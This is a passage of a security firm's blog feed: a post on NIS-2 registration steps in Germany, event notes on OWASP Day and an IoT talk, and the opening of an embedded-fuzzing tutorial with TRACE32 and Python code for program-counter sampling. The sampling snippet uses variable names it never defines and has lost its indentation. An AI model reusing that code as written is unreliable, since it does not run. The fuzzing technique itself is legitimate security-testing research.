href="https://www.bsi.bund.de/DE/Themen/Regulierte-Wirtschaft/NIS-2-regulierte-Unternehmen/NIS-2-Betroffenheitspruefung/nis-2-betroffenheitspruefung.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">from&lt;/span>
&lt;/a>&lt;a
href="https://www.bsi.bund.de/DE/Themen/Regulierte-Wirtschaft/NIS-2-regulierte-Unternehmen/NIS-2-Betroffenheitspruefung/nis-2-betroffenheitspruefung.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://www.bsi.bund.de/DE/Themen/Regulierte-Wirtschaft/NIS-2-regulierte-Unternehmen/NIS-2-Betroffenheitspruefung/nis-2-betroffenheitspruefung.html"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">BSI&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
can be used for this purpose. For further questions or support needs, our experts at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/contact/"
class="link-background inline no-spaces"
>
&lt;span class="link-label">SCHUTZWERK&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
are happy to provide advisory assistance.&lt;/p>
&lt;h2 id="what-obligations-now-apply-to-organizations-under-nis-2">What Obligations Now Apply to Organizations Under NIS-2&lt;/h2>
&lt;p>With the entry into force of the NIS-2 Implementation Act, affected entities face several key obligations. These include, in particular, reporting obligations for security incidents:&lt;/p>
&lt;ul>
&lt;li>Registration with the digital service &amp;ldquo;Mein Unternehmenskonto&amp;rdquo; (MUK) as the central access point to digital government services.&lt;/li>
&lt;li>Registration in the newly developed BSI portal, which will be activated from early January 2026 and serves, among other things, as a reporting point for significant security incidents.&lt;/li>
&lt;li>Introduction, documentation, and compliance with risk management measures as well as technical and methodological requirements for information security management.&lt;/li>
&lt;/ul>
&lt;p>These obligations complement existing standards such as ISO 27001, IT-Grundschutz, as well as industry-specific security measures and requirements. Supervisory authorities establish reporting obligations and can impose sanctions for non-compliance. Management is responsible for ensuring compliance.&lt;/p>
&lt;h2 id="the-new-registration-process-muk-and-bsi-portal">The New Registration Process: MUK and BSI Portal&lt;/h2>
&lt;p>For all affected organizations in Germany, NIS-2 registration begins with a two-step process that covers both identification and reporting of security incidents. A prerequisite is a German tax number, which is used to apply for the required ELSTER organization certificates.&lt;/p>
&lt;h3 id="step-1-registration-with-mein-unternehmenskonto-muk">Step 1: Registration with &amp;ldquo;Mein Unternehmenskonto&amp;rdquo; (MUK)&lt;/h3>
&lt;p>MUK serves as the central access system to digital government services for affected organizations in Germany and is based on the proven ELSTER technology. Every organization with a German tax number must apply for ELSTER organization certificates for its employees to log in securely and comply with the requirements of the NIS2 Directive and the NIS2 Implementation Act.&lt;/p>
&lt;p>Activation occurs in two steps: via email and a postal activation letter, which is typically delivered within five business days. The first user automatically assumes the role of administrator, can invite additional users, and assign access rights and roles within the information security management framework.&lt;/p>
&lt;h3 id="step-2-registration-in-the-new-bsi-portal-from-january-2026">Step 2: Registration in the New BSI Portal from January 2026&lt;/h3>
&lt;p>With the activation of the BSI portal on January 6, 2026, all NIS-2 regulated entities must register mandatorily. The portal will later also serve as the central reporting point for significant security incidents. If an incident occurs before registration, reports can temporarily be submitted via an online form. Operators of critical facilities (KRITIS) and federal agencies will initially continue to use their existing reporting channels.&lt;/p>
&lt;p>This two-step registration process forms the formal basis for reporting security incidents and complying with NIS-2 obligations. The actual implementation of risk management measures and all technical and methodological requirements for information security remains the responsibility of the affected organizations.&lt;/p>
&lt;h2 id="what-affected-organizations-should-prepare-now">What Affected Organizations Should Prepare Now&lt;/h2>
&lt;p>The first months after the entry into force of the NIS-2 Implementation Act are crucial for ensuring sustainable compliance and stable information security within the organization. Organizations should now systematically assess whether they are among the affected entities and what measures are required to meet the requirements of the NIS2 Implementation Act and the NIS2 Directive.&lt;/p>
&lt;p>It is advisable to designate at least two responsible persons to coordinate information security. These individuals should be capable of monitoring and documenting risk management measures, incident response, and backup and recovery processes. Management will in future be explicitly responsible for risk management and compliance with legal reporting obligations. Training and awareness at the management level are therefore essential to strengthen the resilience of digital infrastructure and ensure that information technology security measures are implemented efficiently. For many organizations, this is the first practical step. Depending on the size of the entity and sector, an individual approach may be appropriate.&lt;/p>
&lt;h3 id="systematically-developing-information-security">Systematically Developing Information Security&lt;/h3>
&lt;p>NIS2 requirements go far beyond formal registration obligations. Organizations must continuously optimize the following areas, among others:&lt;/p>
&lt;ul>
&lt;li>Risk management and systematic evaluation of the effectiveness of security measures&lt;/li>
&lt;li>Incident response and crisis management&lt;/li>
&lt;li>Backup and recovery processes&lt;/li>
&lt;li>Supply chain security and integration of security measures in acquisition, development, and maintenance&lt;/li>
&lt;li>Secure software and system development as well as technical and methodological requirements for information security management&lt;/li>
&lt;li>Training and regular awareness-raising for employees&lt;/li>
&lt;li>Access and authorization concepts that protect digital resources&lt;/li>
&lt;li>Reliable processes for alerts and situation reports, ensuring security-relevant communications can be received and processed around the clock&lt;/li>
&lt;/ul>
&lt;p>Through these measures, organizations not only increase the resilience of their digital infrastructure but also simultaneously meet the legal requirements of the NIS2 Implementation Act, strengthen information technology security, and significantly reduce the risk of security incidents.&lt;/p>
&lt;h2 id="start-now-to-secure-cybersecurity-in-the-long-term">Start Now to Secure Cybersecurity in the Long Term&lt;/h2>
&lt;p>NIS-2 is more than just another compliance topic. The revised NIS-2 Implementation Act aims to sustainably strengthen the digital resilience of organizations and critical infrastructure in Germany. For organizations, this means: plan early, clarify responsibilities, establish structures for information security, and document risk management measures.&lt;/p>
&lt;p>We are happy to support you in assessing whether your organization is affected and conducting a &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/maturity-level-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">maturity&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/maturity-level-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">level&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/maturity-level-analysis/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. This ensures that all reporting obligations for security incidents, risk management measures, and information security requirements are met.&lt;/p>
&lt;p>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/contact/"
class="link-background inline split"
>
&lt;span class="link-label">Contact&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/contact/"
class="link-background inline split"
>
&lt;span class="link-label">us&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to plan the next steps for your organization together and ensure long-term security of your digital infrastructure.&lt;/p></description></item><item><title>SCHUTZWERK @ German OWASP Day 2025</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-sponsor-german-owasp-day-2025/</link><author>SCHUTZWERK GmbH</author><pubDate>Thu, 13 Nov 2025 09:00:00 +0200</pubDate><category>news</category><category>event</category><category>sponsor</category><category>web security</category><category>ai security</category><category>owasp</category><category>penetration testing</category><description>
&lt;p>On &lt;strong>November 25-26, 2025&lt;/strong>, the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://god.owasp.de/2025/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">German&lt;/span>
&lt;/a>&lt;a
href="https://god.owasp.de/2025/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">OWASP&lt;/span>
&lt;/a>&lt;a
href="https://god.owasp.de/2025/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Day&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
takes place at the Radisson Blu Conference Hotel in Düsseldorf. SCHUTZWERK has been a regular sponsor of this independent conference for application security since 2016, bringing together security experts, developers, and IT decision-makers.&lt;/p>
&lt;p>&lt;strong>Tickets are still available.&lt;/strong> More information and registration: &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://god.owasp.de/2025/"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">god.owasp.de/&lt;/span>
&lt;/a>&lt;a
href="https://god.owasp.de/2025/"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2025&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;h2 id="the-conference">The Conference&lt;/h2>
&lt;p>The first day (November 25) is designed as a training day. Two workshops run in parallel in the morning: &amp;ldquo;Leveraging Browser Features for Proactive Defense&amp;rdquo; by Javan Rasokat and the &amp;ldquo;Workshop Cyber Resilience Act&amp;rdquo; by Michael Helwig. In the afternoon, the German Chapter Meeting takes place, alongside the workshop &amp;ldquo;Threat Modeling with AI&amp;rdquo; by Georges Bolssens. The day concludes with a networking event.&lt;/p>
&lt;p>On the second day (November 26), Eva Wolfangel opens the conference with her keynote &amp;ldquo;Code Dark Age&amp;rdquo;. Subsequently, two parallel tracks run with talks on current topics in application security: from Vulnerability Detection to PDF attacks to Passkeys and AI Security. The complete program is available at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://god.owasp.de/2025/index.html#programm#programm"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">god.owasp.de/&lt;/span>
&lt;/a>&lt;a
href="https://god.owasp.de/2025/index.html#programm#programm"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2025/&lt;/span>
&lt;/a>&lt;a
href="https://god.owasp.de/2025/index.html#programm#programm"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">#programm&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;p>The conference offers vendor-neutral content without marketing presentations, from the cybersecurity community for the cybersecurity community. Like all OWASP activities, it is made possible by the volunteer commitment of its members.&lt;/p>
&lt;h2 id="owasp-from-classic-web-risks-to-ai-security">OWASP: From Classic Web Risks to AI Security&lt;/h2>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://owasp.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Open&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Worldwide&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Application&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Project&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(OWASP)&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Foundation&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is a non-profit organization dedicated to improving software security. Since its founding, OWASP has made all resources available free and openly – a philosophy that makes security knowledge accessible to organizations of all sizes.&lt;/p>
&lt;p>OWASP became known primarily through the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://owasp.org/Top10/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">OWASP&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/Top10/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Top&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/Top10/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">10&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, the regularly updated list of the ten most critical security risks for web applications. On November 6, 2025, the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://owasp.org/Top10/2025/0x00_2025-Introduction/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Release&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/Top10/2025/0x00_2025-Introduction/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Candidate&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/Top10/2025/0x00_2025-Introduction/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/Top10/2025/0x00_2025-Introduction/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">the&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/Top10/2025/0x00_2025-Introduction/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2025&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/Top10/2025/0x00_2025-Introduction/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">version&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
was published with two new categories: &amp;ldquo;Software Supply Chain Failures&amp;rdquo; reflects the growing importance of supply chain security, while &amp;ldquo;Mishandling of Exceptional Conditions&amp;rdquo; focuses on error handling. Coverage has been significantly expanded: from about 30 CWEs in 2017 to 589 CWEs in 2025, based on the analysis of 2.8 million applications.&lt;/p>
&lt;p>OWASP&amp;rsquo;s evolution is also evident in newer projects. With the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://owaspai.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">OWASP&lt;/span>
&lt;/a>&lt;a
href="https://owaspai.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">AI&lt;/span>
&lt;/a>&lt;a
href="https://owaspai.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Exchange&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://owasp.org/www-project-top-10-for-large-language-model-applications/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">OWASP&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/www-project-top-10-for-large-language-model-applications/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Top&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/www-project-top-10-for-large-language-model-applications/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">10&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/www-project-top-10-for-large-language-model-applications/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/www-project-top-10-for-large-language-model-applications/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Large&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/www-project-top-10-for-large-language-model-applications/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Language&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/www-project-top-10-for-large-language-model-applications/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Models&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, the organization addresses modern threats in the AI domain – from Prompt Injection to Training Data Poisoning. The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://owasp.org/www-project-web-security-testing-guide/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Web&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/www-project-web-security-testing-guide/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/www-project-web-security-testing-guide/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Testing&lt;/span>
&lt;/a>&lt;a
href="https://owasp.org/www-project-web-security-testing-guide/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Guide&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
continues to provide structured testing methods for classic web applications.&lt;/p>
&lt;p>SCHUTZWERK uses OWASP methods and knowledge in &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">Penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">Tests&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/web-application-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Web&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/web-application-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Application&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/web-application-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/web-application-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">Assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, among others. Our support for the German OWASP Day is based on the conviction that security knowledge should be openly accessible and that exchange between practitioners in the community is valuable for collaboratively advancing cybersecurity.&lt;/p>
&lt;p>We&amp;rsquo;ll see you in Düsseldorf!&lt;/p></description></item><item><title>SCHUTZWERK SPOKE AT BEYOND IOT 2025</title><link>https://www.schutzwerk.com/en/blog/beyond-iot-2025/</link><author>SCHUTZWERK GmbH</author><pubDate>Tue, 14 Oct 2025 11:00:00 +0100</pubDate><category>event</category><category>news</category><category>embedded security</category><description>
&lt;p>Our Senior Security Consultant Maximilian Heichler presented at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://beyond-iot.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Beyond&lt;/span>
&lt;/a>&lt;a
href="https://beyond-iot.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">IoT&lt;/span>
&lt;/a>&lt;a
href="https://beyond-iot.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2025&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
- the developer conference for Industrial IoT and digitalization. We look back on a very successful event.&lt;/p>
&lt;h2 id="industrial-systems-as-targets-security-in-iiot">Industrial Systems as Targets: Security in IIoT&lt;/h2>
&lt;p>In his presentation &amp;ldquo;Industrial Systems as Targets: Security in IIoT&amp;rdquo;, Maximilian covered the key aspects of security in industrial IoT environments. Participants learned:&lt;/p>
&lt;ul>
&lt;li>The architecture and networking of modern industrial facilities&lt;/li>
&lt;li>Current security threats facing industrial systems&lt;/li>
&lt;li>Typical attack patterns and progression in production environments&lt;/li>
&lt;li>Tools and methods employed by attackers&lt;/li>
&lt;li>Proven protective measures and security strategies&lt;/li>
&lt;/ul>
&lt;p>The presentation specifically targeted professionals from development, management, and process control who work with IIoT environments. Maximilian provided insights into the methods and motivations of cyber attackers.&lt;/p>
&lt;h2 id="about-the-speaker">About the Speaker&lt;/h2>
&lt;p>As a Senior Security Consultant at SCHUTZWERK, Maximilian Heichler has contributed his expertise in Embedded Systems Security and Cloud Security since 2020. His work with IoT technologies makes him an expert in industrial security solutions. In addition to his consulting work, he regularly shares his expertise as a lecturer and speaker at industry conferences.&lt;/p></description></item><item><title>Embedded Fuzzing Part 1: Getting Lauterbach snoops to Ghidra</title><link>https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/</link><author>SCHUTZWERK GmbH</author><pubDate>Wed, 04 Jun 2025 13:00:00 +0100</pubDate><category>embedded security</category><category>news</category><category>cooperation</category><description>
&lt;p>This blog series introduces a joint research initiative between SCHUTZWERK and &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.lauterbach.com/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Lauterbach&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(as announced &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation/"
class="link-background inline no-spaces"
>
&lt;span class="link-label">previously&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
), aimed at exploring debugger/tracer-guided fuzzing in embedded systems.
The aim is to setup a dynamic fuzz testing framework using Ghidra (an open source reverse engineering tool) and Lauterbach Trace32®.
Due to the excellent support of a wide range of microcontrollers and architectures provided by Lauterbach TRACE32®, the resulting fuzzing setup is aimed to be adaptable to most embedded systems with little effort.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/embedded-fuzzing_hu16dbb3c9f73700c87c69e3ff16da290a_23253_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/embedded-fuzzing_hu16dbb3c9f73700c87c69e3ff16da290a_23253_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/embedded-fuzzing_hu16dbb3c9f73700c87c69e3ff16da290a_23253_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/lauterbach-embedded-fuzzing-cooperation-2/embedded-fuzzing.png"
width="531"
height="445"
alt="Figure 1: Planned Fuzzing Cycle."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Figure 1: Planned Fuzzing Cycle.&lt;/figcaption>
&lt;/figure>
&lt;p>In the setup, the fuzzer uses the TRACE32® debugger to extract information (e.g. the program counter) from a target microcontroller or SoC at runtime [5] as well as an initial firmware dump [0].
This is used to optimize mutated input data that is sent to the attached target over data bus like CAN, Ethernet or RS232, as shown in Figure 1.
Ghidra will be used to provide program flow information from the initial firmware dump to optimize the paths.
Furthermore, Ghidra allows to identify useful program segments for instrumentation like privileged segments, dispatchers or crash handlers. This will be the main focus of this first blog post.&lt;/p>
&lt;h2 id="additional-project-constraints">Additional Project Constraints&lt;/h2>
&lt;p>To get started we want to focus on setting up fuzzing with any hardware target with available JTAG debugging.
This is a grey-box scenario where only the device is available, with no access to source code and no instrumentation compiled into the code, like often the case during &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
In many cases, a trace port is not available either.
Most production or pre-production devices are only equipped with minimal JTAG port for flashing.&lt;/p>
&lt;h2 id="step-1-program-flow-snooping">Step 1: Program Flow Snooping&lt;/h2>
&lt;p>For scenarios where a tracing port on our target is not available, TRACE32® has the solution: Snooping.
Using JTAG/SWD, TRACE32® periodically retrieves the Program Counter PC register of the target. Due to the comparably low speed of the JTAG/SWD interface and protocol overhead, the sample rate is relatively slow.
Thus, we can only record a sparse set of PC register samples.
To capture a higher number of PC values, the target processor&amp;rsquo;s clock speed may be reduced.
This however will likely impact a real-world target&amp;rsquo;s application.&lt;/p>
&lt;p>Using Lauterbach&amp;rsquo;s RCL API, we can automate TRACE32® from an external python application
The automation can later be used to make repeated recordings and integrations for the fuzzer.
To enable RCL, add/uncomment the following from your Lauterbach start configuration (usually called &lt;code>config.t32&lt;/code>):&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">RCL=NETTCP
PORT=20000
&lt;/code>&lt;/pre>&lt;/div>&lt;p>In the following python example, we record PC samples of the target and save it to a file:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">import time
import lauterbach.trace32.rcl as t32
dbg = t32.connect(node=&amp;#39;localhost&amp;#39;, port=20000, protocol=&amp;#34;TCP&amp;#34;)
cmd = dbg.cmd
print(&amp;#39;Initializing the target...&amp;#39;)
# Initialize your target here! e.g.:
# cmd(&amp;#39;SYStem.CPU […]&amp;#39;)
# cmd(&amp;#39;SYStem.CONFIG.DEBUGPORTTYPE SWD&amp;#39;)
# cmd(&amp;#39;SYStem.JtagClock 32MHz&amp;#39;) # Set the JTAG clock speed as high as possible
# …
cmd(&amp;#39;SYStem.Up&amp;#39;) # reset the target
print(&amp;#39;Setting up debugger and snooper...&amp;#39;)
snoop_freq = 50000 # This value can be set too high, it will be limited by the JTAG/SWD bandwidth
# At 32MHz SWD frequency, &amp;lt;50k samples/second were achieved.
snoop_rate = (1/snoop_freq) * (10**6)
cmd(f&amp;#39;SNOOPer.RATE {snoop_rate:1.3f}us&amp;#39;)
snoop_duration = 3
sample_count = int(sample_duration * sample_freq * 1.1)
cmd(f&amp;#39;SNOOPer.SIZE {sample_count}.&amp;#39;)
cmd(&amp;#39;SNOOPer.Mode PC&amp;#39;)
print(f&amp;#39;Running Program for {RUN_DURATION} seconds...&amp;#39;)
cmd(&amp;#39;Go&amp;#39;)
time.sleep(RUN_DURATION) # The snooper will now collect samples
cmd(&amp;#39;Break&amp;#39;)
print(f&amp;#39;Saving snoop file to {SNOOPER_OUTPUT_PATH}...&amp;#39;)
cmd(&amp;#39;SNOOPer.OFF&amp;#39;)
cmd(f&amp;#39;PRinTer.FILE {SNOOPER_OUTPUT_PATH}&amp;#39;)
cmd(&amp;#39;PRinTer.FileType CSV&amp;#39;)
cmd(&amp;#39;WinPrint.SNOOPer.List&amp;#39;)
&lt;/code>&lt;/pre>&lt;/div>&lt;p>Due to the sparse sampling rate, the code of interest must be executed repeatedly to gain a meaningful sample set.
For evaluation purposes, we iterate the object code in a loop.
In real-world tests, we must repeatedly trigger the execution by other means.&lt;/p>
&lt;p>The recorded samples are saved in a file at &lt;code>SNOOPER_OUTPUT_PATH&lt;/code> in Lauterbach&amp;rsquo;s CSV format.
In the next step, we&amp;rsquo;ll convert the file into the EZCOV format.&lt;/p>
&lt;h2 id="step-2-converting-the-snooped-data-to-ezcov">Step 2: Converting the snooped data to EZCOV&lt;/h2>
&lt;p>To analyze the recorded samples, we want to view it in the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/nccgroup/Cartographer"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Ghidra&lt;/span>
&lt;/a>&lt;a
href="https://github.com/nccgroup/Cartographer"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Cartographer&lt;/span>
&lt;/a>&lt;a
href="https://github.com/nccgroup/Cartographer"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Plugin&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, which requires the samples to be in the EZCOV format.
Lauterbach&amp;rsquo;s Snooper format and EZCOV are both CSV with one PC address in each line.
The following python snippet converts the previously captured samples and saves it as EZCOV.&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-fallback" data-lang="fallback">print(f&amp;#39;Converting Snoop file to EZCOV format...&amp;#39;)
EZCOV_PATH = SNOOPER_OUTPUT_PATH + &amp;#39;.ezcov&amp;#39;
with open(SNOOPER_OUTPUT_PATH, &amp;#39;r&amp;#39;) as snoop_file:
with open(EZCOV_PATH, &amp;#39;w&amp;#39;) as ezcov_file:
ezcov_file.write(&amp;#39;EZCOV VERSION: 1\n&amp;#39;)
while line := snoop_file.readline():
columns = line.split(&amp;#39;,&amp;#39;)
if len(columns) &amp;lt; 2: continue
addr = columns[1].strip(&amp;#39;&amp;#34;&amp;#39;)
if not addr.startswith(&amp;#39;T:&amp;#39;): continue
addr = addr.strip(&amp;#39;T:&amp;#39;)
